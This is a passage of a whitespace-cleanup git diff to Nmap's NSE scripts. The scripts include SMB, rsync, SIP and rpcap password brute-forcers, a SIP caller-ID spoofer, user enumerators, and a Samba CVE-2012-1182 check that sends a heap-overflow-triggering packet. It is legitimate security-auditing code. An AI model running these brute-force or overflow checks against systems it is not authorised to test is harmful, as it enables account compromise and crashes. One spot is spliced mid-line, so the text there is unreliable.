-- @output -- PORT STATE SERVICE -- 8098/tcp open http --- | riak-http-info: +-- | riak-http-info: -- | Node name riak@127.0.0.1 -- | Architecture x86_64-unknown-linux-gnu -- | Storage backend riak_kv_bitcask_backend @@ -71,7 +71,7 @@ local filter = { ["sys_driver_version"] = { name = "System driver version" }, ["bitcask_version"] = { name = "Bitcask version" }, ["riak_search_version"] = { name = "Riak search version" }, - ["kernel_version"] = { name = "Riak kernel version" }, + ["kernel_version"] = { name = "Riak kernel version" }, ["stdlib_version"] = { name = "Riak stdlib version" }, ["basho_metrics_version"] = { name = "Basho metrics version" }, ["webmachine_version"] = { name = "WebMachine version" }, @@ -91,7 +91,7 @@ local filter = { } local order = { - "nodename", "sys_system_architecture", "storage_backend", "mem_total", + "nodename", "sys_system_architecture", "storage_backend", "mem_total", "crypto_version", "skerl_version", "os_mon_version", "basho_stats_version", "lager_version", "cluster_info_version", "luke_version", "sasl_version", "sys_driver_version", "bitcask_version", "riak_search_version", @@ -108,30 +108,30 @@ local function fail(err) return ("\n ERROR: %s"):format(err) end action = function(host, port) local response = http.get(host, port, "/stats") - + if ( not(response) or response.status ~= 200 ) then return end - + -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests local _, http_status, _ = http.identify_404(host,port) if ( http_status == 200 ) then stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number) return false end - + -- Silently abort if the server responds as anything different than -- MochiWeb if ( response.header['server'] and not(response.header['server']:match("MochiWeb")) ) then return end - + local status, parsed = json.parse(response.body) if ( not(status) ) then return fail("Failed to parse response") end - + local result = tab.new(2) for _, item in ipairs(order) do if ( parsed[item] ) then diff --git a/scripts/rmi-dumpregistry.nse b/scripts/rmi-dumpregistry.nse index eb21ace50..647d09eba 100644 --- a/scripts/rmi-dumpregistry.nse +++ b/scripts/rmi-dumpregistry.nse @@ -19,7 +19,7 @@ on it. It also gives information about where the objects are located, (marked with @:port in the output). -Some apps give away the classpath, which this scripts catches in so-called "Custom data". +Some apps give away the classpath, which this scripts catches in so-called "Custom data". ]] --- @@ -27,7 +27,7 @@ Some apps give away the classpath, which this scripts catches in so-called "Cust -- @output -- PORT STATE SERVICE REASON -- 1099/tcp open java-rmi syn-ack --- | rmi-dumpregistry: +-- | rmi-dumpregistry: -- | jmxrmi -- | javax.management.remote.rmi.RMIServerImpl_Stub -- | @127.0.1.1:40353 @@ -39,7 +39,7 @@ Some apps give away the classpath, which this scripts catches in so-called "Cust -- @output -- PORT STATE SERVICE REASON -- 1099/tcp open java-rmi syn-ack --- | rmi-dumpregistry: +-- | rmi-dumpregistry: -- | cfassembler/default -- | coldfusion.flex.rmi.DataServicesCFProxyServer_Stub -- | @192.168.0.3:1271 @@ -171,18 +171,18 @@ local function split(str, sep) end ---This is a customData formatter. In some cases, the RMI library finds 'custom data' which belongs to an object. +--This is a customData formatter. In some cases, the RMI library finds 'custom data' which belongs to an object. -- This data is not handled correctly, instead, the data is dumped in the objects customData field (which is a table with strings) -- The RMI library does not do anything more than that - however, here in the land of rmi-dumpregistry land, we may have --- more knowledge about how to interpret that data. --- In the wild, coldfusion.flex.rmi.DataServicesCFProxyServer_Stub e.g discloses the classpath in this variable. This method looks at +-- more knowledge about how to interpret that data. +-- In the wild, coldfusion.flex.rmi.DataServicesCFProxyServer_Stub e.g discloses the classpath in this variable. This method looks at -- the contents of the custom data. if it looks like a class path, we display it as such. This method is passed to the toTable() method --- of the returned RMI object. +-- of the returned RMI object. -- @return title, data function customDataFormatter(className, customData) if customData == nil then return nil end if #customData ==0 then return nil end - + local retData = {} for k,v in ipairs(customData) do if v:find("file:/") == 1 then @@ -194,30 +194,30 @@ function customDataFormatter(className, customData) table.insert(retData[v]) end end - + return "Custom data", retData end function action(host,port, args) - + local registry= rmi.Registry:new( host.ip, port.number) - + local status, j_array = registry:list() local output = {} - if not status then + if not status then return false, ("Registry listing failed (%s)"):format(tostring(j_array)) end -- It's definitely RMI! port.version.name ='java-rmi' port.version.product='Java RMI Registry' nmap.set_port_version(host,port) - - -- Monkey patch the java-class in rmi, to set our own custom data formatter + + -- Monkey patch the java-class in rmi, to set our own custom data formatter -- for classpaths rmi.JavaClass.customDataFormatter = customDataFormatter - + -- We expect an array of strings to be the return data local data = j_array:getValues() for i,name in ipairs( data ) do @@ -230,7 +230,7 @@ function action(host,port, args) table.insert(output, j_object:toTable()) end - + end return stdnse.format_output(true, output) end diff --git a/scripts/rpc-grind.nse b/scripts/rpc-grind.nse index d9f0a1f43..0edf88dee 100644 --- a/scripts/rpc-grind.nse +++ b/scripts/rpc-grind.nse @@ -259,7 +259,7 @@ action = function(host, port) if result.highver ~= result.lowver then port.version.version = ("%s-%s"):format(result.lowver, result.highver) else - port.version.version = result.highver + port.version.version = result.highver end nmap.set_port_version(host, port, "hardmatched") else diff --git a/scripts/rpcap-brute.nse b/scripts/rpcap-brute.nse index d7886a4bb..9b5383ea2 100644 --- a/scripts/rpcap-brute.nse +++ b/scripts/rpcap-brute.nse @@ -15,7 +15,7 @@ Daemon (rpcap). -- @output -- PORT STATE SERVICE REASON -- 2002/tcp open globe syn-ack --- | rpcap-brute: +-- | rpcap-brute: -- | Accounts -- | monkey:Password1 - Valid credentials -- | Statistics @@ -31,18 +31,18 @@ categories = {"intrusive", "brute"} portrule = shortport.port_or_service(2002, "rpcap", "tcp") Driver = { - + new = function(self, host, port) local o = { helper = rpcap.Helper:new(host, port) } setmetatable(o, self) self.__index = self return o end, - + connect = function(self) return self.helper:connect() end, - + login = function(self, username, password) local status, resp = self.helper:login(username, password) if ( status ) then @@ -50,11 +50,11 @@ Driver = { end return false, brute.Error:new( "Incorrect password" ) end, - + disconnect = function(self) return self.helper:close() end, - + } local function validateAuth(host, port) @@ -65,7 +65,7 @@ local function validateAuth(host, port) end status, result = helper:login() helper:close() - + if ( status ) then return false, "Authentication not required" elseif ( not(status) and @@ -80,10 +80,10 @@ action = function(host, port) local status, result = validateAuth(host, port) if ( not(status) ) then return result - end - + end + local engine = brute.Engine:new(Driver, host, port ) - + engine.options.script_name = SCRIPT_NAME engine.options.firstonly = true status, result = engine:start() diff --git a/scripts/rpcap-info.nse b/scripts/rpcap-info.nse index d84e788ba..846df482f 100644 --- a/scripts/rpcap-info.nse +++ b/scripts/rpcap-info.nse @@ -18,7 +18,7 @@ setup to require authentication or not and also supports IP restrictions. -- @output -- PORT STATE SERVICE REASON -- 2002/tcp open rpcap syn-ack --- | rpcap-info: +-- | rpcap-info: -- | \Device\NPF_{0D5D1364-1F1F-4892-8AC3-B838258F9BB8} -- | Intel(R) PRO/1000 MT Desktop Adapter -- | Addresses @@ -50,7 +50,7 @@ local function getInfo(host, port, username, password) return false, "Failed to connect to server" end status, resp = helper:login(username, password) - + if ( not(status) ) then return false, resp end @@ -60,11 +60,11 @@ local function getInfo(host, port, username, password) if ( not(status) ) then return false, resp end - + port.version.name = "rpcap" port.version.product = "WinPcap remote packet capture daemon" nmap.set_port_version(host, port) - + return true, resp end @@ -73,11 +73,11 @@ action = function(host, port) -- patch-up the service name, so creds.rpcap will work, ugly but needed as -- tcp 2002 is registered to the globe service in nmap-services ... port.service = "rpcap" - + local c = creds.Credentials:new(creds.ALL_DATA, host, port) local states = creds.State.VALID + creds.State.PARAM local status, resp = getInfo(host, port) - + if ( status ) then return stdnse.format_output(true, resp) end diff --git a/scripts/rpcinfo.nse b/scripts/rpcinfo.nse index 7ae110bb3..42f3e92a2 100644 --- a/scripts/rpcinfo.nse +++ b/scripts/rpcinfo.nse @@ -11,7 +11,7 @@ Connects to portmapper and fetches a list of all registered programs. It then p -- @output -- PORT STATE SERVICE -- 111/tcp open rpcbind --- | rpcinfo: +-- | rpcinfo: -- | program version port/proto service -- | 100000 2,3,4 111/tcp rpcbind -- | 100000 2,3,4 111/udp rpcbind @@ -80,20 +80,20 @@ portrule = shortport.port_or_service(111, "rpcbind", {"tcp", "udp"} ) action = function(host, port) local result = {} - local status, rpcinfo = rpc.Helper.RpcInfo( host, port ) + local status, rpcinfo = rpc.Helper.RpcInfo( host, port ) local xmlout = {} - + if ( not(status) ) then return stdnse.format_output(false, rpcinfo) end - + for progid, v in pairs(rpcinfo) do xmlout[tostring(progid)] = v for proto, v2 in pairs(v) do table.insert( result, ("%-7d %-10s %5d/%s %s"):format(progid, stdnse.strjoin(",", v2.version), v2.port, proto, rpc.Util.ProgNumberToName(progid) or "") ) end end - + table.sort(result) if (#result > 0) then @@ -101,5 +101,5 @@ action = function(host, port) end return xmlout, stdnse.format_output( true, result ) - + end diff --git a/scripts/rsync-brute.nse b/scripts/rsync-brute.nse index cf2eb2cc8..59774449b 100644 --- a/scripts/rsync-brute.nse +++ b/scripts/rsync-brute.nse @@ -16,7 +16,7 @@ Performs brute force password auditing against the rsync remote file syncing pro -- @output -- PORT STATE SERVICE REASON -- 873/tcp open rsync syn-ack --- | rsync-brute: +-- | rsync-brute: -- | Accounts -- | user1:laptop - Valid credentials -- | user2:password - Valid credentials @@ -34,19 +34,19 @@ categories = {"brute", "intrusive"} portrule = shortport.port_or_service(873, "rsync", "tcp") Driver = { - + new = function(self, host, port, options) local o = { host = host, port = port, options = options } setmetatable(o, self) self.__index = self return o end, - + connect = function(self) self.helper = rsync.Helper:new(self.host, self.port, self.options) return self.helper:connect() end, - + login = function(self, username, password) local status, data = self.helper:login(username, password) @@ -61,11 +61,11 @@ Driver = { return true, brute.Account:new(username, password, creds.State.VALID) end end, - + disconnect = function( self ) return self.helper:disconnect() - end - + end + } local function isModuleValid(host, port, module) @@ -89,17 +89,17 @@ local function isModuleValid(host, port, module) end action = function(host, port) - + local mod = stdnse.get_script_args(SCRIPT_NAME .. ".module") if ( not(mod) ) then return "\n ERROR: rsync-brute.module was not supplied" end - + local status, err = isModuleValid(host, port, mod) if ( not(status) ) then return ("\n ERROR: %s"):format(err) end - + local engine = brute.Engine:new(Driver, host, port, { module = mod }) engine.options.script_name = SCRIPT_NAME local result diff --git a/scripts/rsync-list-modules.nse b/scripts/rsync-list-modules.nse index a721b7d83..be650b7ae 100644 --- a/scripts/rsync-list-modules.nse +++ b/scripts/rsync-list-modules.nse @@ -13,7 +13,7 @@ Lists modules available for rsync (remote file sync) synchronization. -- @output -- PORT STATE SERVICE -- 873/tcp open rsync --- | rsync-list-modules: +-- | rsync-list-modules: -- | www www directory -- | log log directory -- |_ etc etc directory @@ -31,12 +31,12 @@ action = function(host, port) if ( not(helper) ) then return "\n ERROR: Failed to create rsync.Helper" end - + local status, err = helper:connect() if ( not(status) ) then return "\n ERROR: Failed to connect to rsync server" end - + local modules = {} status, modules = helper:listModules() if ( not(status) ) then diff --git a/scripts/rtsp-methods.nse b/scripts/rtsp-methods.nse index cba589073..a40c82594 100644 --- a/scripts/rtsp-methods.nse +++ b/scripts/rtsp-methods.nse @@ -13,7 +13,7 @@ Determines which methods are supported by the RTSP (real time streaming protocol -- @output -- PORT STATE SERVICE -- 554/tcp open rtsp --- | rtsp-methods: +-- | rtsp-methods: -- |_ DESCRIBE, SETUP, PLAY, TEARDOWN, OPTIONS -- -- @args rtsp-methods.path the path to query, defaults to "*" which queries diff --git a/scripts/rtsp-url-brute.nse b/scripts/rtsp-url-brute.nse index 876b7d3c9..bbaa1ca2c 100644 --- a/scripts/rtsp-url-brute.nse +++ b/scripts/rtsp-url-brute.nse @@ -17,7 +17,7 @@ Attempts to enumerate RTSP media URLS by testing for common paths on devices suc -- @output -- PORT STATE SERVICE -- 554/tcp open rtsp --- | rtsp-url-brute: +-- | rtsp-url-brute: -- | Discovered URLs -- |_ rtsp://camera.example.com/mpeg4 -- @@ -59,15 +59,15 @@ end -- Fetches the next url from the iterator, creates an absolute url and tries -- to fetch it from the RTSP service. --- @param host table containing the host table as received by action --- @param port table containing the port table as received by action +-- @param host table containing the host table as received by action +-- @param port table containing the port table as received by action -- @param url_iter function containing the url iterator -- @param result table containing the urls that were successfully retrieved local function processURL(host, port, url_iter, result) local condvar = nmap.condvar(result) for u in url_iter do local name = ( host.targetname and #host.targetname > 0 ) and host.targetname or - ( host.name and #host.name > 0 ) and host.name or + ( host.name and #host.name > 0 ) and host.name or host.ip local url = ("rtsp://%s%s"):format(name, u) local helper = rtsp.Helper:new(host, port) @@ -89,7 +89,7 @@ local function processURL(host, port, url_iter, result) table.insert(result, { url = url, status = response.status } ) helper:close() - end + end condvar "signal" end @@ -101,7 +101,7 @@ action = function(host, port) local threadcount = stdnse.get_script_args('rtsp-url-brute.threads') or 10 local filename = stdnse.get_script_args('rtsp-url-brute.urlfile') or nmap.fetchfile("nselib/data/rtsp-urls.txt") - + threadcount = tonumber(threadcount) if ( not(filename) ) then @@ -112,12 +112,12 @@ action = function(host, port) if ( not(f) ) then return stdnse.format_output(false, ("Failed to open dictionary file: %s"):format(filename)) end - + local url_iter = urlIterator(f) if ( not(url_iter) ) then return stdnse.format_output(false, ("Could not open the URL dictionary: "):format(f)) end - + local threads = {} for t=1, threadcount do local co = stdnse.new_thread(processURL, host, port, url_iter, result) @@ -137,12 +137,12 @@ action = function(host, port) -- failure in socket send or receive local failure_urls = { name='An error occured while testing the following URLs' } - -- urls that illicited a 200 OK response + -- urls that illicited a 200 OK response local success_urls = { name='Discovered URLs' } - + -- urls requiring authentication -- local auth_urls = { name='URL requiring authentication' } - + for _, r in ipairs(result) do if ( r.status == -1 ) then table.insert(failure_urls, r.url) @@ -159,6 +159,6 @@ action = function(host, port) -- if (#result > #auth_urls) then -- table.insert(result, 2, auth_urls) -- end - + return stdnse.format_output(true, result ) end diff --git a/scripts/samba-vuln-cve-2012-1182.nse b/scripts/samba-vuln-cve-2012-1182.nse index 3c21d2502..456352582 100644 --- a/scripts/samba-vuln-cve-2012-1182.nse +++ b/scripts/samba-vuln-cve-2012-1182.nse @@ -6,27 +6,27 @@ local vulns = require "vulns" local stdnse = require "stdnse" description = [[ -Checks if target machines are vulnerable to the Samba heap overflow vulnerability CVE-2012-1182. +Checks if target machines are vulnerable to the Samba heap overflow vulnerability CVE-2012-1182. Samba versions 3.6.3 and all versions previous to this are affected by a vulnerability that allows remote code execution as the "root" user from an anonymous connection. -CVE-2012-1182 marks multiple heap overflow vulnerabilities located in +CVE-2012-1182 marks multiple heap overflow vulnerabilities located in PIDL based autogenerated code. This check script is based on PoC by ZDI -marked as ZDI-CAN-1503. Vulnerability lies in ndr_pull_lsa_SidArray +marked as ZDI-CAN-1503. Vulnerability lies in ndr_pull_lsa_SidArray function where an attacker is under control of num_sids and can cause insuficient memory to be allocated, leading to heap buffer overflow -and posibility of remote code execution. +and posibility of remote code execution. -Script builds a malitious packet and makes a SAMR GetAliasMembership +Script builds a malitious packet and makes a SAMR GetAliasMembership call which triggers the vulnerability. On the vulnerable system, connection is droped and result is "Failed to receive bytes after 5 attempts". -On patched system, samba throws an error and result is "MSRPC call -returned a fault (packet type)". +On patched system, samba throws an error and result is "MSRPC call +returned a fault (packet type)". -References: +References: * https://bugzilla.samba.org/show_bug.cgi?id=8815 * http://www.samba.org/samba/security/CVE-2012-1182 @@ -39,9 +39,9 @@ References: -- @output -- PORT STATE SERVICE -- 139/tcp open netbios-ssn --- +-- -- Host script results: --- | samba-vuln-cve-2012-1182: +-- | samba-vuln-cve-2012-1182: -- | VULNERABLE: -- | SAMBA remote heap overflow -- | State: VULNERABLE @@ -51,7 +51,7 @@ References: -- | Samba versions 3.6.3 and all versions previous to this are affected by -- | a vulnerability that allows remote code execution as the "root" user -- | from an anonymous connection. --- | +-- | -- | Disclosure date: 2012-03-15 -- | References: -- | http://www.samba.org/samba/security/CVE-2012-1182 @@ -100,7 +100,7 @@ from an anonymous connection. if(status == false) then return false, smbstate end - + -- bind to SAMR service local bind_result status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil) @@ -111,19 +111,19 @@ from an anonymous connection. -- create malicious packet, same as in the PoC local data = bin.pack(" Valid credentials -- | Statistics @@ -32,7 +32,7 @@ categories = {"intrusive", "brute"} portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"}) Driver = { - + new = function(self, host, port) local o = {} setmetatable(o, self) @@ -41,7 +41,7 @@ Driver = { o.port = port return o end, - + connect = function( self ) self.helper = sip.Helper:new(self.host, self.port, { expires = 0 }) local status, err = self.helper:connect() @@ -67,8 +67,8 @@ Driver = { end return true, brute.Account:new(username, password, creds.State.VALID) end, - - disconnect = function(self) return self.helper:close() end, + + disconnect = function(self) return self.helper:close() end, } -- Function used to check if we can distinguish existing from non-existing @@ -80,11 +80,11 @@ local function checkBadUser(host, port) local user = "baduser-" .. math.random(10000) local pass = "badpass-" .. math.random(10000) local helper = sip.Helper:new(host, port, { expires = 0 }) - + stdnse.print_debug(2, "Checking bad user: %s/%s", user, pass) local status, err = helper:connect() if ( not(status) ) then return false, "ERROR: Failed to connect" end - + helper:setCredentials(user, pass) local status, err = helper:register() helper:close() diff --git a/scripts/sip-call-spoof.nse b/scripts/sip-call-spoof.nse index dda0117fb..7d9728813 100644 --- a/scripts/sip-call-spoof.nse +++ b/scripts/sip-call-spoof.nse @@ -23,7 +23,7 @@ Timeout (408) or Hang up (200). --@args sip-call-spoof.extension SIP Extension to send request from. Defaults to -- 100. -- ---@args sip-call-spoof.src Source address to spoof. +--@args sip-call-spoof.src Source address to spoof. -- --@args sip-call-spoof.timeout Time to wait for a response. Defaults to -- 5s @@ -35,7 +35,7 @@ Timeout (408) or Hang up (200). -- --@output -- 5060/udp open sip --- | sip-call-spoof: +-- | sip-call-spoof: -- |_ Target hung up. (After 10.9 seconds) @@ -128,7 +128,7 @@ end action = function(host, port) local status, session - + local ua = stdnse.get_script_args(SCRIPT_NAME .. ".ua") or "Ekiga" local from = stdnse.get_script_args(SCRIPT_NAME .. ".from") or "Home" local src = stdnse.get_script_args(SCRIPT_NAME .. ".src") @@ -147,13 +147,13 @@ action = function(host, port) local ringing, result, waittime = invitespoof(session, ua, from, src, extension, timeout) -- If we get a response, we set the port to open. if result then - if nmap.get_port_state(host, port) ~= "open" then + if nmap.get_port_state(host, port) ~= "open" then nmap.set_port_state(host, port, "open") end end -- We check for ringing to skip false positives. - if ringing then + if ringing then if result == sip.Error.BUSY then return stdnse.format_output(true, "Target line is busy.") elseif result == sip.Error.DECLINE then diff --git a/scripts/sip-enum-users.nse b/scripts/sip-enum-users.nse index 3cc67029b..8f504cade 100644 --- a/scripts/sip-enum-users.nse +++ b/scripts/sip-enum-users.nse @@ -27,14 +27,14 @@ response status code. --- --@args sip-enum-users.minext Extension value to start enumeration from. -- Defaults to 0. --- +-- --@args sip-enum-users.maxext Extension value to end enumeration at. -- Defaults to 999. -- ---@args sip-enum-users.padding Number of digits to pad zeroes up to. +--@args sip-enum-users.padding Number of digits to pad zeroes up to. -- Defaults to 0. No padding if this is set to zero. -- ---@args sip-enum-users.users If set, will also enumerate users +--@args sip-enum-users.users If set, will also enumerate users -- from userslist file. -- --@args sip-enum-users.userslist Path to list of users. @@ -43,13 +43,13 @@ response status code. --@usage -- nmap --script=sip-enum-users -sU -p 5060 -- --- nmap --script=sip-enum-users -sU -p 5060 --script-args +-- nmap --script=sip-enum-users -sU -p 5060 --script-args -- 'sip-enum-users.padding=4, sip-enum-users.minext=1000, -- sip-enum-users.maxext=9999' -- --@output -- 5060/udp open sip --- | sip-enum-users: +-- | sip-enum-users: -- | Accounts -- | 101: Auth required -- | 120: No auth @@ -66,7 +66,7 @@ categories = {"auth", "intrusive"} portrule = shortport.port_or_service(5060, "sip", {"tcp", "udp"}) ---- Function that sends register sip request with provided extension +--- Function that sends register sip request with provided extension -- using the specified session. -- @arg sess session to use. -- @arg ext Extension to send register request to. @@ -79,7 +79,7 @@ local registerext = function(sess, ext) request:setUri("sip:" .. sess.sessdata:getServer()) sess.sessdata:setUsername(ext) request:setSessionData(sess.sessdata) - + return sess:exch(request) end @@ -147,7 +147,7 @@ local test404 = function(host, port) if not status then return false, "ERROR: Failed to connect to the SIP server." end - + status, response = registerext(session, randext) if not status then return false, "ERROR: No response from the SIP server." @@ -211,21 +211,21 @@ Driver = { end end, - disconnect = function(self) + disconnect = function(self) self.session:close() return true - end, + end, } action = function(host, port) local result, lthreads = {}, {} - local status, err + local status, err local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0 local minext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".minext")) or 0 local maxext = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".maxext")) or 999 local padding = tonumber(stdnse.get_script_args(SCRIPT_NAME .. ".padding")) or 0 local users = stdnse.get_script_args(SCRIPT_NAME .. ".users") - local usersfile = stdnse.get_script_args(SCRIPT_NAME .. ".userslist") + local usersfile = stdnse.get_script_args(SCRIPT_NAME .. ".userslist") or "nselib/data/usernames.lst" -- min extension should be less than max extension. @@ -261,5 +261,5 @@ action = function(host, port) engine.options.passonly = true status, result = engine:start() - return result + return result end diff --git a/scripts/sip-methods.nse b/scripts/sip-methods.nse index 2885f9b7f..10dcdf0e7 100644 --- a/scripts/sip-methods.nse +++ b/scripts/sip-methods.nse @@ -17,7 +17,7 @@ the value of the Allow header in the response. -- --@output -- 5060/udp open sip --- | sip-methods: +-- | sip-methods: -- |_ INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO diff --git a/scripts/skypev2-version.nse b/scripts/skypev2-version.nse index 146a4407b..a73885fa4 100644 --- a/scripts/skypev2-version.nse +++ b/scripts/skypev2-version.nse @@ -11,7 +11,7 @@ Detects the Skype version 2 service. -- @output -- PORT STATE SERVICE VERSION -- 80/tcp open skype2 Skype - + author = "Brandon Enright" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"version"} @@ -47,7 +47,7 @@ action = function(host, port) port.version.name = "skype2" port.version.product = "Skype" nmap.set_port_version(host, port) - return + return end return end diff --git a/scripts/smb-brute.nse b/scripts/smb-brute.nse index c7606f47a..0a8b4ae18 100644 --- a/scripts/smb-brute.nse +++ b/scripts/smb-brute.nse @@ -9,65 +9,65 @@ local table = require "table" local unpwdb = require "unpwdb" description = [[ -Attempts to guess username/password combinations over SMB, storing discovered combinations -for use in other scripts. Every attempt will be made to get a valid list of users and to -verify each username before actually using them. When a username is discovered, besides +Attempts to guess username/password combinations over SMB, storing discovered combinations +for use in other scripts. Every attempt will be made to get a valid list of users and to +verify each username before actually using them. When a username is discovered, besides being printed, it is also saved in the Nmap registry so other Nmap scripts can use it. That -means that if you're going to run smb-brute.nse, you should run other smb scripts you want. -This checks passwords in a case-insensitive way, determining case after a password is found, -for Windows versions before Vista. +means that if you're going to run smb-brute.nse, you should run other smb scripts you want. +This checks passwords in a case-insensitive way, determining case after a password is found, +for Windows versions before Vista. -This script is specifically targeted towards security auditors or penetration testers. +This script is specifically targeted towards security auditors or penetration testers. One example of its use, suggested by Brandon Enright, was hooking up smb-brute.nse to the database of usernames and passwords used by the Conficker worm (the password list can be found at http://www.skullsecurity.org/wiki/index.php/Passwords, among other places. -Then, the network is scanned and all systems that would be infected by Conficker are -discovered. +Then, the network is scanned and all systems that would be infected by Conficker are +discovered. From the penetration tester perspective its use is pretty obvious. By discovering weak passwords -on SMB, a protocol that's well suited for bruteforcing, access to a system can be gained. +on SMB, a protocol that's well suited for bruteforcing, access to a system can be gained. Further, passwords discovered against Windows with SMB might also be used on Linux or MySQL -or custom Web applications. Discovering a password greatly beneficial for a pen-tester. +or custom Web applications. Discovering a password greatly beneficial for a pen-tester. -This script uses a lot of little tricks that I (Ron Bowes) describe in detail in a blog +This script uses a lot of little tricks that I (Ron Bowes) describe in detail in a blog posting, http://www.skullsecurity.org/blog/?p=164. The tricks will be summarized here, but -that blog is the best place to learn more. +that blog is the best place to learn more. Usernames and passwords are initially taken from the unpwdb library. If possible, the usernames are verified as existing by taking advantage of Windows' odd behaviour with invalid username -and invalid password responses. As soon as it is able, this script will download a full list -of usernames from the server and replace the unpw usernames with those. This enables the -script to restrict itself to actual accounts only. +and invalid password responses. As soon as it is able, this script will download a full list +of usernames from the server and replace the unpw usernames with those. This enables the +script to restrict itself to actual accounts only. When an account is discovered, it's saved in the smb module (which uses the Nmap -registry). If an account is already saved, the account's privileges are checked; accounts +registry). If an account is already saved, the account's privileges are checked; accounts with administrator privileges are kept over accounts without. The specific method for checking is by calling GetShareInfo("IPC$"), which requires administrative privileges. Once this script is finished (all other smb scripts depend on it, it'll run first), other scripts will use the saved account -to perform their checks. +to perform their checks. The blank password is always tried first, followed by "special passwords" (such as the username -and the username reversed). Once those are exhausted, the unpwdb password list is used. +and the username reversed). Once those are exhausted, the unpwdb password list is used. -One major goal of this script is to avoid accout lockouts. This is done in a few ways. First, +One major goal of this script is to avoid accout lockouts. This is done in a few ways. First, when a lockout is detected, unless you user specifically overrides it with the smblockout -argument, the scan stops. Second, all usernames are checked with the most common passwords first, -so with not-too-strict lockouts (10 invalid attempts), the 10 most common passwords will still -be tried. Third, one account, called the canary, "goes out ahead"; that is, three invalid -attempts are made (by default) to ensure that it's locked out before others are. +argument, the scan stops. Second, all usernames are checked with the most common passwords first, +so with not-too-strict lockouts (10 invalid attempts), the 10 most common passwords will still +be tried. Third, one account, called the canary, "goes out ahead"; that is, three invalid +attempts are made (by default) to ensure that it's locked out before others are. In addition to active accounts, this script will identify valid passwords for accounts that are disabled, guest-equivalent, and require password changes. Although these accounts can't be used, it's good to know that the password is valid. In other cases, it's impossible to -tell a valid password (if an account is locked out, for example). These are displayed, too. +tell a valid password (if an account is locked out, for example). These are displayed, too. Certain accounts, such as guest or some guest-equivalent, will permit any password. This -is also detected. When possible, the SMB protocol is used to its fullest to get maximum -information. +is also detected. When possible, the SMB protocol is used to its fullest to get maximum +information. When possible, checks are done using a case-insensitive password, then proper case is -determined with a fairly efficient bruteforce. For example, if the actual password is +determined with a fairly efficient bruteforce. For example, if the actual password is "PassWord", then "password" will work and "PassWord" will be found afterwards (on the -14th attempt out of a possible 256 attempts, with the current algorithm). +14th attempt out of a possible 256 attempts, with the current algorithm). ]] --- --@usage @@ -87,19 +87,19 @@ determined with a fairly efficient bruteforce. For example, if the actual passwo -- | | thisisaverylongname:password => Valid credentials -- | | thisisaverylongnamev:password => Valid credentials -- |_ |_ web:TeSt => Valid credentials, account disabled --- --- @args smblockout This argument will force the script to continue if it --- locks out an account or thinks it will lock out an account. --- @args brutelimit Limits the number of usernames checked in the script. In some domains, +-- +-- @args smblockout This argument will force the script to continue if it +-- locks out an account or thinks it will lock out an account. +-- @args brutelimit Limits the number of usernames checked in the script. In some domains, -- it's possible to end up with 10,000+ usernames on each server. By default, this -- will be 5000, which should be higher than most servers and also prevent infinite -- loops or other weird things. This will only affect the user list pulled from the --- server, not the username list. --- @args canaries Sets the number of tests to do to attempt to lock out the first account. --- This will lock out the first account without locking out the rest of the accounts. +-- server, not the username list. +-- @args canaries Sets the number of tests to do to attempt to lock out the first account. +-- This will lock out the first account without locking out the rest of the accounts. -- The default is 3, which will only trigger strict lockouts, but will also bump the -- canary account up far enough to detect a lockout well before other accounts are --- hit. +-- hit. ----------------------------------------------------------------------- @@ -111,14 +111,14 @@ categories = {"intrusive", "brute"} ---The maximum number of usernames to check (can be modified with smblimit argument) -- The limit exists because domains may have hundreds of thousands of accounts, --- potentially. +-- potentially. local LIMIT = 5000 hostrule = function(host) return smb.get_port(host) ~= nil end ----The possible result codes. These are simplified from the actual codes that SMB returns. +---The possible result codes. These are simplified from the actual codes that SMB returns. local results = { SUCCESS = 1, -- Login was successful @@ -163,17 +163,17 @@ result_strings[results.FAIL] = "Invalid credentials" result_strings[results.INVALID_LOGON_HOURS] = "Valid credentials, account cannot log in at current time" result_strings[results.INVALID_WORKSTATION] = "Valid credentials, account cannot log in from current host" ----Constants for special passwords. These each contain a null character, which is illegal in --- actual passwords. +---Constants for special passwords. These each contain a null character, which is illegal in +-- actual passwords. local USERNAME = string.char(0) .. "username" local USERNAME_REVERSED = string.char(0) .. "username reversed" local special_passwords = { USERNAME, USERNAME_REVERSED } ----Generates a random string of the requested length. This can be used to check how hosts react to --- weird username/password combinations. ---@param length (optional) The length of the string to return. Default: 8. ---@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore. ---@return The random string. +---Generates a random string of the requested length. This can be used to check how hosts react to +-- weird username/password combinations. +--@param length (optional) The length of the string to return. Default: 8. +--@param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore. +--@return The random string. local function get_random_string(length, set) if(length == nil) then length = 8 @@ -193,10 +193,10 @@ local function get_random_string(length, set) return str end ----Splits a string in the form "domain\user" into domain and user. +---Splits a string in the form "domain\user" into domain and user. --@param str The string to split --@return (domain, username) The domain and the username. If no domain was given, nil is returned --- for domain. +-- for domain. local function split_domain(str) local username, domain local split = stdnse.strsplit("\\", str) @@ -212,12 +212,12 @@ local function split_domain(str) return domain, username end ----Formats a username/password pair with an optional result. Just a way to keep things consistent --- throughout the program. Currently, the format is "username:password => result". ---@param username The username. ---@param password [optional] The password. Default: "". ---@param result [optional] The result, as a constant. Default: not used. ---@return A string representing the input values. +---Formats a username/password pair with an optional result. Just a way to keep things consistent +-- throughout the program. Currently, the format is "username:password => result". +--@param username The username. +--@param password [optional] The password. Default: "". +--@param result [optional] The result, as a constant. Default: not used. +--@return A string representing the input values. local function format_result(username, password, result) if(username == "") then @@ -237,9 +237,9 @@ local function format_result(username, password, result) end end ----Decides which login type to use (lanman, ntlm, or other). Designed to keep things consistent. ---@param hostinfo The hostinfo table. ---@return A string representing the login type to use (that can be passed to SMB functions). +---Decides which login type to use (lanman, ntlm, or other). Designed to keep things consistent. +--@param hostinfo The hostinfo table. +--@return A string representing the login type to use (that can be passed to SMB functions). local 